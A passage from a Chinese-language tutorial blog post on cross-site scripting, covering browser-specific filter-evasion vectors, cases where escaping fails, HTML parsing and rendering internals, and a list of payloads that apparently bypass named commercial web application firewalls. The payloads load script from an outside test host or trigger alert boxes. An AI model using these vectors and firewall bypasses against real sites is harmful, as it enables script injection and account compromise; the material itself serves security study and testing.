<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT> 
  • Gecko 渲染引擎允许任何字符包括字母,数字或特殊字符存在于事件属性和等号之间
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> 
  • Firefox 和 Netscape 的 Gecko 渲染引擎下不需要闭合 script 标签也可以执行,因为 Firefox 会自动添加闭合标记
<SCRIPT SRC=http://xss.rocks/xss.js?< B > 
  • IE 渲染引擎不像 Firefox,不会向页面中添加额外数据,但它允许在IMG标签中直接使用 javascript
<IMG SRC=”javascript:alert(‘XSS’)” 
  • 使用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的Gecko渲染引擎下有不同表现。没有左尖括号时,在Firefox中生效,而在Netscape中无效
<iframe src=http://xss.rocks/scriptlet.html < 

转义绕过

转义过滤并不能完全防止 XSS 注入,转义过滤会在如下情况下失效:

  1. 单引号包裹的属性内部
  2. 事件属性内部
  3. <script> 标签内部
  4. JS 型函数参数(如 windows.setInterval)
  5. JS 型CSS 属性(仅 IE 有效)

配置绕过

HttpOnly

CSP

参考:https://www.jianshu.com/p/43b9f8776821

相关内容

渲染原理

渲染过程

浏览器渲染的过程主要包括以下五步:

  • 浏览器将获取的 HTML 文档并解析成 DOM 树
  • 处理 CSS 标记,构成层叠样式表模型 CSSOM (CSS Object Model)
  • 将 DOM 和 CSSOM 合并为渲染树(rendering tree),代表一系列将被渲染的对象
  • 渲染树的每个元素包含的内容都是计算过的,它被称之为布局layout。浏览器使用一种流式处理的方法,只需要一次 pass 绘制操作就可以布局所有的元素
  • 将渲染树的各个节点绘制到屏幕上,这一步被称为绘制 painting

技术分享图片

结构解析

对于 XSS 漏洞而言,我们最感兴趣的是 HTML 文档解析为 DOM 树的过程

Html5 规范中描述了这个解析算法,算法包括两个阶段——符号化构建树。符号化是词法分析的过程,将输入解析为符号,html 的符号包括开始标签、结束标签、属性名及属性值,当符号识别器识别出符号后,将其传递给树构建器,并读取下一个字符,以识别下一个符号,这样直到处理完所有输入

技术分享图片

符号识别算法

HTML 解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。以如下 HTML 为例

<html>
    <body>
    	Hello world
    </body>
</html>

在解析过程中,初始状态为 Data state,如果遇到 < 字符,状态变为 Tag open state,此时有两种情况,如果读取到 [a-z] 则进入 Tag name state 状态,如果如读取到 \ 则进入 Close tag open state,在 Tag name state 状态循环读取 [a-z] 直到遇到 > 字符回到 Data State

树构建算法

在树的构建阶段,将修改以Document为根的DOM树,将元素附加到树上。每个由符号识别器识别生成的节点将会被树构造器进行处理,规范中定义了每个符号相对应的Dom元素,对应的Dom元素将会被创建。这些元素除了会被添加到Dom树上,还将被添加到开放元素堆栈中。这个堆栈用来纠正嵌套的未匹配和未闭合标签,这个算法也是用状态机来描述,所有的状态采用插入模式
技术分享图片

内容解析

浏览器中的基本解析顺序如下:URL 解析器,HTML 解析器,CSS 解析器,CSS 解析器

注意:浏览器解析 HTML,并将标签转化为内容树中的DOM 节点,识别标签时,HTML 解析器是无法识别哪些被实体编码的内容的,只有建立起DOM 树,才能对每个节点的内容进行识别,如果此时出现实体编码,则会进行实体解码

元素种类

HTML 中有五类元素

元素种类 示例 说明
空元素 如 <area>,<br>,<base> 不能容纳任何内容
原始文本元素 如 <script>,<style> 可以容纳文本
RCDATA 元素 如 <textarea>,<title> 可以容纳文本和字符引用
外部元素 MathML / SVG 命名空间的元素 可以容纳文本、字符引用、CDATA段、其他元素和注释
基本元素 除以上四种元素外 可以容纳文本、字符引用、其他元素和注释

同源策略

经验总结

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript:alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=Java%0a%0d%09script:alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

常见问题

  1. 为什么不能仅对不可信数据进行HTML实体编码?

对于放在 HTM L文档 body 中的不可信数据进行 HTML 实体编码是没有问题的,比如在

标签中。编码后甚至可以在属性中引用不可信数据,特别是使用引号将属性包含的时候。但是 HTML 实体编码在当你将不可信数据放到任何地方的
(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!